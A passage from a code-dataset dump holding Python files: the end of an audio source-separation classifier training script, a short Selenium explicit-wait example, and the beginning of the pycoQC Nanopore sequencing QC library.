torch.zeros(len(self.class_id_lst))\n\n for idx, id in enumerate(self.class_id_lst):\n if id in class_id_target:\n binary_class_label[idx] = 1\n\n\n self.data[index] = {\"audio_mix\": audio_mix,\n \"audio_sources\": audio_sources,\n \"time_labels\": time_labels,\n \"binary_class_label\": binary_class_label,} \n \n else:\n audio_mix = self.data[index]['audio_mix']\n audio_sources = self.data[index]['audio_sources']\n time_labels = self.data[index]['time_labels']\n binary_class_label = self.data[index]['binary_class_label']\n\n return audio_mix, audio_sources, time_labels, binary_class_label\n\n\n def _resample_if_necessary(self, audio, sr, target_sample_rate): \n if sr != self.target_sample_rate:\n resampler = torchaudio.transforms.Resample(sr, self.target_sample_rate)\n audio = resampler(audio)\n return audio\n\n\n def _get_audio_sample_path(self, index, source_random = True):\n target_path_lst = []\n class_id_lst_ = self.class_id_lst.copy()\n anchor_path = self.file_path_lst[index]\n fold = os.path.split(os.path.split(anchor_path)[0])[1]\n anchor_id = int((os.path.split(anchor_path)[1]).split('-')[1])\n\n if source_random:\n num_src = random.randint(0, 4)\n class_id_lst_.remove(anchor_id)\n class_id_target = random.sample(class_id_lst_, num_src)\n \n for id in class_id_target:\n path = random.choice(glob.glob(os.path.join(self.audio_dir, fold) + '/*-{id}-*'.format(id = id)))\n target_path_lst.append(path)\n\n target_path_lst.append(anchor_path)\n class_id_target.append(anchor_id)\n \n else:\n class_id_target = class_id_lst_\n for id in class_id_target:\n path = random.choice(glob.glob(os.path.join(self.audio_dir, fold) + '/*-{id}-*'.format(id = id)))\n target_path_lst.append(path)\n\n class_id_target.sort() \n return target_path_lst, class_id_target\n\n def _get_time_label(self, audio):\n time_label = None\n return time_label\n\n\ndef file_path_generator(audio_dir, class_id_lst):\n\n # 1: car_horn, 3: dog_bark, 6: gun_shot, 7: jackhammer, 8: siren\n # train_fold: 1-6, eval_fold: 7,8\n train_files = []\n eval_files = []\n\n train_fold = [os.path.join(audio_dir, 'fold{num}'.format(num = num)) for num in range(1,7)]\n eval_fold = [os.path.join(audio_dir, 'fold{num}'.format(num = num)) for num in [7,8]]\n\n # set train and eval files\n train_files = load_file_path(train_fold, class_id_lst)\n eval_files = load_file_path(eval_fold, class_id_lst)\n return train_files, eval_files\n\n\ndef load_file_path(fold, class_id_lst):\n files = []\n for fold_path in fold:\n for class_id in class_id_lst:\n for track_path in tqdm.tqdm(glob.glob(f'{fold_path}/*-{class_id}-*-*.wav')):\n files.append(track_path)\n\n return files\n\n\n##########################################################################\n# calculate loss\n\ndef cal_mix_loss(audio_mix_gt, pred, binary_class_label):\n # audio_mix_gt(wav): (B, 1, sr*time)\n # mix_spec: (time, B, 1, freq)\n # pred:(n_src, B, 1, freq, time) --> (B, n_src, freq, time)\n # binary_class_label: (B, n_src)\n \n # change dimension\n pred = pred.squeeze(2).permute(1, 0, 2, 3)\n\n # transform ground truth waveform to spectrogram\n stft = _STFT(window_length=1024, n_fft=1024, n_hop=512, center=True)\n spec = _Spectrogram(spec_power=True, mono = True)\n get_spec = nn.Sequential(stft, spec).cuda() # Return: Spec, Angle\n\n mix_spec, _ = get_spec(audio_mix_gt) # (time, B, 1, freq)\n mix_spec = mix_spec.squeeze(2).permute(1, 2, 0) # (B, freq, time)\n freq, time = mix_spec.shape[1], mix_spec.shape[2]\n\n mix_target = torch.zeros(1, freq, time).cuda()\n mute_target = torch.zeros(1, freq, time).cuda()\n\n num_batch = binary_class_label.shape[0]\n for batch_idx in range(num_batch):\n class_label = binary_class_label[batch_idx, :].reshape(-1, 1, 1)\n mix_target_single = torch.sum(class_label*pred[batch_idx, :, :, :], dim = 0).unsqueeze(0)\n \n mute_label = torch.logical_not(class_label)\n mute_target_single = torch.sum(torch.abs(mute_label*pred[batch_idx, :, :, :]), dim = 0).unsqueeze(0) \n \n mix_target = torch.cat([mix_target, mix_target_single], dim = 0)\n mute_target = torch.cat([mute_target, mute_target_single], dim = 0)\n mix_target = mix_target[1:, :, :]\n mute_target = mute_target[1:, :, :]\n\n recon_loss = torch.abs(mix_spec - mix_target)\n \n mix_loss = torch.mean(recon_loss + mute_target)\n \n return mix_loss\n\n\ndef cal_frame_loss(gt_label, pred_label):\n # gt_label: [B, n_src, 1, time] --> [B, n_src, time]\n gt_label = gt_label.squeeze(2)\n num_src = gt_label.shape[1]\n criterion = nn.CrossEntropyLoss()\n frame_loss = 0\n\n for src in range(num_src):\n frame_loss += criterion(gt_label[:, src, :], pred_label[:, src, :])\n frame_loss = torch.mean(frame_loss)\n return frame_loss\n\n\ndef cal_total_loss(audio_mix, time_labels, src_pred, score_pred, binary_class_label):\n beta1, beta2 = 0.9, 0.999\n mix_loss = cal_mix_loss(audio_mix, src_pred, binary_class_label)\n frame_loss = cal_frame_loss(time_labels, score_pred)\n total_loss = beta1 * mix_loss + beta2 * frame_loss\n\n return total_loss\n\ndef cal_wav_sup_loss(audio_sources, src_pred):\n # audio_sources: (B, n_src, 1, sr*time) --> (B, n_src, sr*time)\n # src_pred: (n_src, B, 1, sr*time) \n\n # set dimension as the same\n audio_sources = audio_sources.squeeze(2) \n src_pred = src_pred.permute(1, 0 ,2, 3).squeeze(2)\n\n sup_loss = torch.mean(torch.abs(audio_sources - src_pred))\n\n return sup_loss\n\n\ndef cal_spec_sup_loss(audio_sources, src_pred, param):\n # audio_sources: (B, n_src, 1, sr*time) --> (B, n_src, sr*time)\n # src_pred: (n_src, B, 1, freq, time) --> (n_src, B, freq, time)\n\n get_spec = nn.Sequential(\n _STFT(window_length=param['window_length'], n_fft=param['window_length'], n_hop=param['n_hop']),\n _Spectrogram(spec_power=True, mono=1)).cuda() \n\n total_loss = 0\n criterion = nn.L1Loss()\n # convert audio source wav to spectrogram\n n_src = audio_sources.shape[1]\n audio_sources = audio_sources.squeeze(2)\n src_pred = src_pred.squeeze(2)\n \n for src in range(n_src):\n gt_spec_src, _ = get_spec(audio_sources[:, src, :].unsqueeze(1))\n gt_spec_src = gt_spec_src.squeeze(2).permute(1, 2, 0) # (batch, freq, time)\n total_loss += criterion(src_pred[src, :, :,], gt_spec_src)\n\n return total_loss\n\n##########################################################################\n\ndef sisnr(x, s, eps=1e-8):\n \n \"\"\"\n calculate training loss\n input:\n\n x: separated signal, N x S tensor\n s: reference signal, N x S tensor\n Return:\n sisnr: N tensor\n \"\"\"\n def l2norm(mat, keepdim=False):\n return torch.norm(mat, dim=-1, keepdim=keepdim)\n\n if x.shape != s.shape:\n raise RuntimeError(\n \"Dimention mismatch when calculate si-snr, {} vs {}\".format(\n x.shape, s.shape))\n\n x_zm = x - torch.mean(x, dim=-1, keepdim=True)\n s_zm = s - torch.mean(s, dim=-1, keepdim=True)\n\n t = torch.sum(\n x_zm * s_zm, dim=-1,\n keepdim=True) * s_zm / (l2norm(s_zm, keepdim=True)**2 + eps)\n\n return 20 * torch.log10(eps + l2norm(t) / (l2norm(x_zm - t) + eps))\n\n\n\n\nif __name__ == \"__main__\":\n with open(\"weaksup.yaml\") as stream:\n param = yaml.safe_load(stream)\n \n os.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" \n os.environ[\"CUDA_VISIBLE_DEVICES\"]= param['gpu']\n\n print(\"========== Dataset Generator ==========\")\n class_id_lst = [1, 3, 6, 7, 8] \n audio_dir = param[\"audio_dir\"]\n \n train_files, eval_files = file_path_generator(audio_dir, class_id_lst)\n train_dataset = UrbanSoundDataset(train_files, class_id_lst, audio_dir, source_random = param['source_random'])\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_size = param[\"batch_size\"], shuffle = True, drop_last = True)\n\n eval_dataset = UrbanSoundDataset(eval_files, class_id_lst, audio_dir, source_random = param['source_random'])\n eval_loader = torch.utils.data.DataLoader(eval_dataset, batch_size = param[\"batch_size\"], shuffle = False)\n \n print(\"========== Model Training ==========\")\n input_size = param[\"input_size\"]\n hidden_size = param[\"hidden_size\"]\n num_layer = param[\"num_layer\"]\n epoch_val = param[\"epoch_val\"]\n \n \n model = Classifier(input_size, hidden_size, num_layer).cuda()\n optimizer = torch.optim.Adam(model.parameters(), lr = param['lr'])\n loss_fn = cal_frame_loss\n \n get_spec = nn.Sequential(\n _STFT(window_length=param['window_length'], n_fft=param['window_length'], n_hop=param['n_hop']),\n _Spectrogram(spec_power=True, mono=1)).cuda() \n\n for epoch in range(1, param[\"epochs\"]):\n print(\"epoch:\", epoch)\n i = 1\n losses = []\n for batch in train_loader:\n audio_sources = batch[1].cuda() # (B, n_src, 1, sr*time)\n time_labels = batch[2].cuda() # (B, n_src, 1, sr*time)\n\n # convert gt audio from wav to spec\n n_src = audio_sources.shape[1]\n audio_sources = audio_sources.squeeze(2)\n temp, _ = get_spec(audio_sources[:, 0, :].unsqueeze(1))\n audio_sources_spec = torch.zeros_like(temp).unsqueeze(0)\n \n # stack sepc\n # audio_sources_spec: (n_src, time, B, 1, freq)\n for i in range(n_src):\n audio_sources_spec_temp, _ = get_spec(audio_sources[:, i, :].unsqueeze(1))\n audio_sources_spec = torch.cat([audio_sources_spec,audio_sources_spec_temp.unsqueeze(0)], dim = 0)\n audio_sources_spec = audio_sources_spec[1:, :, :, :].permute(0, 2, 3, 4, 1)\n audio_sources_spec = audio_sources_spec.cuda()\n \n\n optimizer.zero_grad()\n \n score_pred = model(audio_sources_spec) # (n_src, B, 1, freq, time)\n loss = loss_fn(time_labels, score_pred)\n \n loss.backward()\n optimizer.step()\n losses.append(loss.item())\n i+=1\n wandb.log({\"Train Loss:\": sum(losses) / len(losses)})\n if epoch % 10 == 0:\n print(f\"epoch {epoch}: loss {sum(losses) / len(losses)}\")\n \n \n if epoch % epoch_val == 0:\n print(\"========== Model Evaluation ==========\")\n model.eval()\n\n total_eval_loss = 0\n\n si_sdr = {src: 0 for src in class_id_lst}\n \n for batch in eval_loader:\n audio_sources = batch[1].cuda() # (B, n_src, 1, sr*time)\n time_labels = batch[2].cuda() # (B, n_src, 1, sr*time)\n\n n_src = audio_sources.shape[1]\n audio_sources = audio_sources.squeeze(2)\n audio_sources_spec = torch.stack([get_spec(audio_sources[:, i, :].unsqueeze(1)) for i in range(n_src)]).cuda() #source_mask = (time, batch, freq)\n\n # convert gt audio from wav to spec\n n_src = audio_sources.shape[1]\n audio_sources = audio_sources.squeeze(2)\n temp, _ = get_spec(audio_sources[:, 0, :].unsqueeze(1))\n audio_sources_spec = torch.zeros_like(temp).unsqueeze(0)\n \n # stack sepc\n # audio_sources_spec: (n_src, time, B, 1, freq)\n for i in range(n_src):\n audio_sources_spec_temp, _ = get_spec(audio_sources[:, i, :].unsqueeze(1))\n audio_sources_spec = torch.cat([audio_sources_spec,audio_sources_spec_temp.unsqueeze(0)], dim = 0)\n audio_sources_spec = audio_sources_spec[1:, :, :, :].permute(0, 2, 3, 4, 1)\n audio_sources_spec = audio_sources_spec.cuda()\n \n\n score_pred = model(audio_sources_spec) \n total_eval_loss += loss_fn(time_labels, score_pred)/len(eval_loader)\n\n\n # Add audio to wandb\n wandb.log({\"eval_loss:\": total_eval_loss})\n time_labels = time_labels.squeeze(2)\n score_pred = score_pred.squeeze(2)\n for idx, src in enumerate(class_id_lst):\n wandb.log({f\"gt_label_{src}\": time_labels[0, idx, :].detach().cpu().numpy(),\n f\"pred_label_{src}\": score_pred[0, idx, :].detach().cpu().numpy(),})\n model.train()\n","repo_name":"tungnd237/weak_sup_sss","sub_path":"egs/mimii/X-UMX/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":16096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29758607070","text":"from selenium import webdriver\nfrom selenium.common import StaleElementReferenceException, TimeoutException, NoSuchElementException, \\\n ElementNotVisibleException, ElementNotInteractableException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://the-internet.herokuapp.com/dynamic_loading/1\")\ndriver.maximize_window()\nwait = WebDriverWait(driver, 15, poll_frequency=2, ignored_exceptions=(TimeoutException,))\n# driver.find_element(By.XPATH, \"//button\").click()\n\ntry:\n start_btn = driver.find_element(By.TAG_NAME, \"button\")\n # driver.execute_script(\"arguments[0].scrollIntoView();\", start_btn)\n start_btn.click()\n # start_btn = wait.until(EC.element_to_be_clickable((By.TAG_NAME, \"button\")))\n # start_btn.click()\n element = wait.until(EC.visibility_of_element_located((By.ID, \"finish\")))\n # element.send_keys(\"xxx\")\n\n print(f\"{element.text} Element shown up\")\n\nexcept StaleElementReferenceException:\n print(\"Element not visible\")\nexcept ElementNotInteractableException as ei:\n print(ei)\n\n\n","repo_name":"pradeep-automation/SeleniumWithPython","sub_path":"ExplicitWait_example.py","file_name":"ExplicitWait_example.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35435475544","text":"# -*- coding: utf-8 -*-\n\n\"\"\" \n ___ ___ ___ \n | _ \\_ _ __ ___ / _ \\ / __|\n | _/ || / _/ _ \\ (_) | (__ \n |_| \\_, \\__\\___/\\__\\_\\\\___|\n |__/ \n __ __ ___ \n /\\ _| _. _ _ | _ _ _ _ _) / \\ /| / \n/--\\(_|| |(-| ) |__(-(_)(-| /__ \\__/ | / \n _/ \n\"\"\"\n\n# Standard library imports\nfrom sys import exit as sysexit\nfrom os import access, R_OK\nfrom collections import OrderedDict\nfrom pkg_resources import Requirement, resource_filename\n\n# Local reports\ntry:\n from pycoQC.pycoQC_fun import print, help, get_sample_file\nexcept ImportError:\n from pycoQC_fun import print, help, get_sample_file\n\n# Third party imports\ntry:\n import numpy as np\n import pylab as pl\n import pandas as pd\n import seaborn as sns\n get_ipython()\n from IPython.core.display import display\n \nexcept (NameError, ImportError) as E:\n print (E)\n print (\"A third party package is missing. Please verify your dependencies\")\n sysexit()\n\n##~~~~~~~ SAMPLE FILE ~~~~~~~#\n\nsequencing_summary_file = get_sample_file(\"pycoQC\",'pycoQC/data/sequencing_summary.txt')\n\n##~~~~~~~ MAIN CLASS ~~~~~~~#\nclass pycoQC():\n\n #~~~~~~~FUNDAMENTAL METHODS~~~~~~~# \n def __init__ (self, seq_summary_file, runid=None, filter_zero_len=False, verbose=False):\n \"\"\"\n Parse Albacore sequencing_summary.txt file and clean-up the data\n * seq_summary_file\n Path to the sequencing_summary.txt generated by Albacore\n * runid\n If you want a specific runid to be analysed. By default it will analyse all the read in the file irrespective of their runid \n [Default None]\n * filter_zero_len\n If True, zero length reads will be filtered out. [Default False]\n * verbose\n print additional informations. [Default False]\n \"\"\"\n self.verbose=verbose\n \n # Import the summary file in a dataframe\n if verbose: print(\"Importing data\", bold=True)\n self.seq_summary_file = seq_summary_file\n self.df = pd.read_csv(seq_summary_file, sep =\"\\t\")\n self.df.dropna(inplace=True)\n if verbose: print(\"\\t{} reads found in initial file\".format(len(self.df)))\n \n # Verify the presence of the columns required for pycoQC\n if verbose: print(\"Checking fields in dataframe\", bold=True)\n for colname in ['run_id', 'channel', 'start_time', 'duration', 'num_events','sequence_length_template', 'mean_qscore_template']:\n assert colname in self.df.columns, \"Column {} not found in the provided sequence_summary file\".format(colname)\n if verbose: print(\"\\tAll valid\")\n \n # Filter out zero length if required\n if filter_zero_len:\n if verbose: print (\"Filter out zero length reads\", bold = True)\n l = len(self.df)\n self.df = self.df[(self.df['sequence_length_template'] > 0)]\n self.zero_len_reads = l-len(self.df)\n if verbose: print (\"\\t{} reads discarded\".format(self.zero_len_reads))\n\n # Select Runid if required\n if runid:\n if verbose: print (\"Selecting reads with Run_ID {}\".format(runid), bold=True)\n l = len(self.df)\n self.df = self.df[(self.df[\"run_id\"] == runid)]\n if verbose: print (\"\\t{} reads discarded\".format(l-len(self.df)))\n \n # Reads per runid\n if verbose: print(\"Counting reads per runid\", bold=True)\n self.runid_counts = self.df['run_id'].value_counts(sort=True).to_frame(name=\"Counts\")\n if verbose: print(\"\\tFound {} runid\".format(len(self.runid_counts)))\n \n # Extract the runid data from the overall dataframe\n if verbose: print(\"Final data cleanup\", bold=True)\n self.df = self.df.reset_index(drop=True)\n self.df.set_index(\"read_id\", inplace=True)\n self.total_reads = len(self.df)\n if verbose: print(\"\\t{} Total valid reads found\".format(self.total_reads))\n \n \n def __str__(self):\n \"\"\"readable description of the object\"\"\"\n msg = \"{} instance\\n\".format(self.__class__.__name__)\n msg+= \"\\tParameters list\\n\"\n \n # list all values in object dict in alphabetical order\n for k,v in OrderedDict(sorted(self.__dict__.items(), key=lambda t: t[0])).items():\n if k != \"df\":\n msg+=\"\\t{}\\t{}\\n\".format(k, v)\n return (msg)\n\n #~~~~~~~PUBLIC METHODS~~~~~~~#\n \n def overview (self):\n \"\"\"\n Generate a quick overview of the data (tables + plots)\n \"\"\" \n print (\"General counts\", bold=True)\n df = pd.DataFrame(columns=[\"Count\"])\n df.loc[\"Reads\", \"Count\"] = len(self.df)\n df.loc[\"Bases\", \"Count\"] = self.df[\"sequence_length_template\"].sum()\n df.loc[\"Events\", \"Count\"] = self.df[\"num_events_template\"].sum()\n df.loc[\"Active Channels\", \"Count\"] = self.df[\"channel\"].nunique()\n df.loc[\"Run Duration (h)\", \"Count\"] = ((self.df[\"start_time\"]+self.df[\"duration\"]).max() - self.df[\"start_time\"].min())/3600\n display(df)\n \n print (\"Read count per Run ID\", bold=True)\n display(self.runid_counts)\n \n print (\"Distribution of quality scores and read lengths\", bold=True)\n df = self.df[['mean_qscore_template', 'sequence_length_template']].describe(percentiles=[0.1,0.25,0.5, 0.75, 0.90])\n df.rename(columns={'mean_qscore_template': 'Quality score distribution', 'sequence_length_template': 'Read length distribution'},\n inplace=True)\n display(df)\n \n fig, (ax1, ax2) = pl.subplots(1, 2, figsize=(12, 6))\n g1 = sns.violinplot(data=self.df['mean_qscore_template'].sample(50000), color=\"orangered\", alpha=0.5, bw=.2, linewidth=1,\n inner=\"quartile\", ax=ax1)\n t = ax1.set_title(\"Quality score distribution\")\n g2 = sns.violinplot(data=self.df['sequence_length_template'].sample(50000), color=\"orangered\", alpha=0.5, bw=.2, cut=1, linewidth=1,\n inner=\"quartile\", ax=ax2)\n t= ax2.set_title(\"Read length distribution\")\n \n def reads_len_bins (self, bins=[-1,0,25,50,100,500,1000,5000,10000,100000,10000000]):\n \"\"\"\n Count the number of reads per interval of sequence length and return a dataframe\n * bins\n Limits of the intervals as a list \n [Default [-1,0,25,50,100,500,1000,5000,10000,100000,10000000]]\n \"\"\"\n df = self.df['sequence_length_template'].groupby(pd.cut(self.df['sequence_length_template'], bins))\n df = df.count().to_frame(name=\"Count\")\n df.index.name=\"Sequence lenght ranges\"\n return df\n \n def reads_qual_bins (self, bins=[-1,0,2,4,6,8,10,12,14,16,18,20,40]):\n \"\"\"\n Count the number of reads per interval of sequence quality and return a dataframe\n * bins\n Limits of the intervals as a list \n [Default [-1,0,2,4,6,8,10,12,14,16,18,20,40]]\n \"\"\"\n df = self.df['mean_qscore_template'].groupby(pd.cut(self.df['mean_qscore_template'], bins))\n df = df.count().to_frame(name=\"Count\")\n df.index.name=\"Sequence quality ranges\"\n return df \n \n def channels_activity (self, level=\"reads\", figsize=[24,12], cmap=\"OrRd\", alpha=1, robust=True, annot=True, fmt=\"d\", cbar=False,\n **kwargs):\n \"\"\"\n Plot the activity of channels at read, base or event level. The layout does not represent the physical layout of the flowcell\n * level\n Aggregate channel output results by \"reads\", \"bases\" or \"events\". [Default \"reads\"]\n * figsize \n Size of ploting area [Default [24,12]]\n * cmap\n Matplotlib colormap code to color the space [Default \"OrRd\"]\n * alpha\n Opacity of the area from 0 to 1 [Default 1]\n * robust\n if True the colormap range is computed with robust quantiles instead of the extreme values [Default True]\n * annot\n If True, write the data value in each cell. [Default True]\n * fmt\n String formatting code to use when adding annotations (see matplotlib documentation) [Default \"d\"]\n * cbar\n Whether to draw a colorbar scale on the right of the graph [Default False]\n => Return\n A matplotlib.axes object for further user customisation (http://matplotlib.org/api/axes_api.html)\n \"\"\"\n \n # Compute the count per channel\n if level == \"reads\":\n s = self.df['channel'].value_counts(sort=False)\n title = \"Reads per channels\"\n if level == \"bases\":\n s = self.df.groupby(\"channel\").aggregate(np.sum)[\"sequence_length_template\"]\n title = \"Bases per channels\"\n if level == \"events\":\n s = self.df.groupby(\"channel\").aggregate(np.sum)[\"num_events\"]\n title = \"Events per channels\"\n \n # Fill the missing values\n for i in range(1, 512):\n if i not in s.index:\n s.loc[i] = 0\n\n # Sort by index value \n s.sort_index(inplace=True)\n\n # Reshape the series to a 2D frame similar to the Nanopore flowcell grid \n a = s.values.reshape(16,32)\n\n # Plot a heatmap like grapd\n fig, ax = pl.subplots(figsize=figsize)\n ax = sns.heatmap(a, ax=ax, annot=annot, fmt=fmt, linewidths=2, cbar=cbar, cmap=cmap, alpha=alpha, robust=robust)\n \n # Tweak the plot\n t = ax.set_title (title)\n t = ax.set_xticklabels(\"\")\n t = ax.set_yticklabels(\"\")\n \n for text in ax.texts:\n text.set_size(8)\n \n return ax\n \n def reads_qual_distribution (self, figsize=[30,7], hist=True, kde=True, kde_color=\"black\", hist_color=\"orangered\", kde_alpha=0.5,\n hist_alpha=0.5, win_size=0.1, sample=100000, min_qual=None, max_qual=None, min_freq=None, max_freq=None, **kwargs):\n \"\"\"\n Plot the distribution of mean read quality\n * figsize\n Size of ploting area [Default [30,7]]\n * hist\n If True plot an histogram of distribution [Default True]\n * kde\n If True plot a univariate kernel density estimate [Default True]\n * kde_color / hist_color\n Color map or color codes to use for the 3 plots [Default \"black\" \"orangered\"]\n * kde_alpha / hist_alpha\n Opacity of the area from 0 to 1 for the 3 plots [Default 0.5 0.5]\n * win_size\n Size of the bins in quality score ranging from 0 to 40 for the histogram [Default 0.1]\n * sample\n If given, a n number of reads will be randomly selected instead of the entire dataframe [Default 100000]\n * xmin, xmax, ymin, ymax\n Lower and upper limits on x/y axis [Default None]\n * min_qual, max_qual\n Minimal and maximal read quality cut-offs for the plot [Default None]\n * min_freq, max_freq\n Minimal and maximal read frequency cut-offs for the plot [Default None]\n => Return\n A matplotlib.axes object for further user customisation (http://matplotlib.org/api/axes_api.html)\n \"\"\"\n \n # Select reads\n df = self.df[['mean_qscore_template']]\n if min_qual:\n df = df[(df['mean_qscore_template'] >= min_qual)]\n else:\n min_qual = 0\n if max_qual:\n df = df[(df['mean_qscore_template'] <= max_qual)]\n else:\n max_qual = max(df['mean_qscore_template'])\n if sample and len(df) > sample: \n df = df.sample(sample)\n \n # Auto correct windows size if too long\n if max_qual-min_qual < win_size:\n win_size = max_qual-min_qual\n \n # Plot\n fig, ax = pl.subplots(figsize=figsize)\n # Plot the kde graph\n if kde:\n sns.kdeplot(df[\"mean_qscore_template\"], ax=ax, color=kde_color, alpha=kde_alpha, shade=not hist, gridsize=500,\n legend=False)\n # Plot a frequency histogram \n if hist:\n ax = df['mean_qscore_template'].plot.hist(\n bins=np.arange(min_qual, max_qual, win_size), ax=ax, normed=True, color=hist_color, alpha=hist_alpha, histtype='stepfilled')\n \n # Tweak the plot \n t = ax.set_title (\"Mean quality distribution per read\")\n t = ax.set_xlabel(\"Mean PHRED quality Score\")\n t = ax.set_ylabel(\"Read Frequency\")\n \n if not min_freq:\n min_freq = 0\n if not max_freq:\n max_freq = ax.get_ylim()[1]\n \n t = ax.set_xlim([min_qual, max_qual])\n t = ax.set_ylim([min_freq, max_freq])\n \n return ax\n \n def reads_len_distribution (self, figsize=[30,7], hist=True, kde=True, kde_color=\"black\", hist_color=\"orangered\", kde_alpha=0.5,\n hist_alpha=0.5, win_size=250, sample=100000, min_len=None, max_len=None, min_freq=None, max_freq=None, **kwargs):\n \n \"\"\"\n Plot the distribution of read length in base pairs\n * figsize\n Size of ploting area [Default [30,7]]\n * hist\n If True plot an histogram of distribution [Default True]\n * kde\n If True plot a univariate kernel density estimate [Default True]\n * kde_color / hist_color\n Color map or color codes to use for the 3 plots [Default \"black\" \"orangered\"]\n * kde_alpha / hist_alpha\n Opacity of the area from 0 to 1 for the 3 plots [Default 0.5 0.5]\n * win_size\n Size of the bins in base pairs for the histogram [Default 250]\n * sample\n If given, a n number of reads will be randomly selected instead of the entire dataframe [Default 100000]\n * min_len, max_len\n Minimal and maximal read length cut-offs for the plot [Default None]\n * min_freq, max_freq\n Minimal and maximal read frequency cut-offs for the plot [Default None]\n => Return\n A matplotlib.axes object for further user customisation (http://matplotlib.org/api/axes_api.html)\n \"\"\"\n \n # Select reads\n df = self.df[['sequence_length_template']]\n if min_len:\n df = df[(df['sequence_length_template'] >= min_len)]\n else:\n min_len = 0\n if max_len:\n df = df[(df['sequence_length_template'] <= max_len)]\n else:\n max_len = max(df['sequence_length_template'])\n if sample and len(df) > sample: \n df = df.sample(sample)\n \n # Auto correct windows size if too long\n if max_len-min_len < win_size:\n win_size = max_len-min_len\n \n # Plot\n fig, ax = pl.subplots(figsize=figsize)\n # Plot the kde graph\n if kde:\n sns.kdeplot(df[\"sequence_length_template\"], ax=ax, color=kde_color, alpha=kde_alpha, shade=not hist, gridsize=500,\n legend=False)\n # Plot a frequency histogram \n if hist:\n ax = df['sequence_length_template'].plot.hist(\n bins=np.arange(min_len, max_len, win_size), ax=ax, normed=True, color=hist_color, alpha=hist_alpha, histtype='stepfilled')\n \n # Tweak the plot \n t = ax.set_title (\"Distribution of reads length\")\n t = ax.set_xlabel(\"Length in bp\")\n t = ax.set_ylabel(\"Read Frequency\")\n \n if not min_freq:\n min_freq = 0\n if not max_freq:\n max_freq = ax.get_ylim()[1]\n \n t = ax.set_xlim([min_len, max_len])\n t = ax.set_ylim([min_freq, max_freq])\n \n return ax\n\n def output_over_time (self, level=\"reads\", figsize=[30,7], color=\"orangered\", alpha=0.5, win_size=0.25, cumulative=False, **kwargs):\n \"\"\"\n Plot the output over the time of the experiment at read, base or event level\n * level\n Aggregate channel output results by \"reads\", \"bases\" or \"events\" [Default \"reads\"]\n * figsize\n Size of ploting area [Default [30,7]\n * color\n Color of the plot. Valid matplotlib color code [Default \"orangered\"]\n * alpha\n Opacity of the area from 0 to 1 [Default 0.5]\n * win_size\n Size of the bins in hours [Default 0.25]\n * cumulative\n cumulative histogram [Default False]\n => Return\n A matplotlib.axes object for further user customisation (http://matplotlib.org/api/axes_api.html)\n \"\"\"\n \n df = self.df[[\"num_events\", \"sequence_length_template\"]].copy()\n df[\"end_time\"] = (self.df[\"start_time\"]+self.df[\"duration\"])/3600\n\n # Compute the mean, min and max for each win_size interval\n df2 = pd.DataFrame(columns=[\"reads\", \"bases\", \"events\"])\n for t in np.arange(0, max(df[\"end_time\"]), win_size):\n if cumulative:\n sdf = df[(df[\"end_time\"] < t+win_size)]\n else:\n sdf = df[(df[\"end_time\"] >= t) & (df[\"end_time\"] < t+win_size)]\n df2.loc[t] =[len(sdf), sdf[\"sequence_length_template\"].sum(), sdf[\"num_events\"].sum()]\n\n # Plot the graph\n fig, ax = pl.subplots(figsize=figsize)\n df2[level].plot.area(ax=ax, color=color, alpha=alpha)\n\n # Tweak the plot\n t = ax.set_title (\"Total {} over time\".format(level))\n t = ax.set_xlabel(\"Experiment time (h)\")\n t = ax.set_ylabel(\"{} count\".format(level))\n t = ax.set_xlim (0, max(df2.index))\n t = ax.set_ylim (0, ax.get_ylim()[1])\n \n return ax\n \n def quality_over_time (self, figsize=[30,7], color=\"orangered\", alpha=0.25, win_size=0.25, **kwargs):\n \"\"\"\n Plot the evolution of the mean read quality over the time of the experiment at read, base or event level\n * figsize\n Size of ploting area [Default [30,7]\n * color\n Color of the plot. Valid matplotlib color code [Default \"orangered\"]\n * alpha\n Opacity of the area from 0 to 1 [Default 0.25]\n * win_size\n Size of the bins in hours [Default 0.25]\n => Return\n A matplotlib.axes object for further user customisation (http://matplotlib.org/api/axes_api.html)\n \"\"\"\n \n # Slice the main dataframe\n df = self.df[[\"mean_qscore_template\"]].copy()\n df[\"end_time\"] = (self.df[\"start_time\"]+self.df[\"duration\"])/3600\n \n # Compute the mean, min and max for each win_size interval\n df2 = pd.DataFrame(columns=[\"mean\", \"min\", \"max\", \"q1\", \"q3\"])\n for t in np.arange(0, max(df[\"end_time\"]), win_size):\n sdf = df[\"mean_qscore_template\"][(df[\"end_time\"] >= t) & (df[\"end_time\"] < t+win_size)]\n df2.loc[t] =[sdf.median(), sdf.min(), sdf.max(), sdf.quantile(0.25), sdf.quantile(0.75)]\n\n # Plot the graph\n fig, ax = pl.subplots(figsize=figsize)\n ax.fill_between(df2.index, df2[\"min\"], df2[\"max\"], color=color, alpha=alpha)\n ax.fill_between(df2.index, df2[\"q1\"], df2[\"q3\"], color=color, alpha=alpha)\n ax.plot(df2[\"mean\"], color=color)\n \n # Tweak the plot\n t = ax.set_title (\"Mean read quality over time (Median, Q1-Q3, Min-Max)\")\n t = ax.set_xlabel(\"Experiment time (h)\")\n t = ax.set_ylabel(\"Mean read PHRED quality\")\n t = ax.set_xlim (0, max(df2.index))\n t = ax.set_ylim (0, ax.get_ylim()[1])\n \n return ax\n \n def reads_len_quality (self, figsize=12, kde=True, scatter=True, margin_plot=True, kde_cmap=\"copper\", scatter_color=\"orangered\",\n margin_plot_color=\"orangered\", kde_alpha=1, scatter_alpha=0.01, margin_plot_alpha=0.5, sample=100000, kde_levels=10, kde_shade=False,\n min_len=None, max_len=None, min_qual=None, max_qual=None, **kwargs):\n \"\"\"\n Draw a bivariate plot of read length vs mean read quality with marginal univariate plots.\n * figsize\n Size of square ploting area [Default 12]\n * kde\n If True plot a bivariate kernel density estimate [Default True]\n * scatter\n If True plot a scatter plot [Default true]\n * margin_plot\n If True plot marginal univariate distributions [Default True]\n * kde_cmap / scatter_color / margin_plot_color\n Color map or color codes to use for the 3 plots [Default 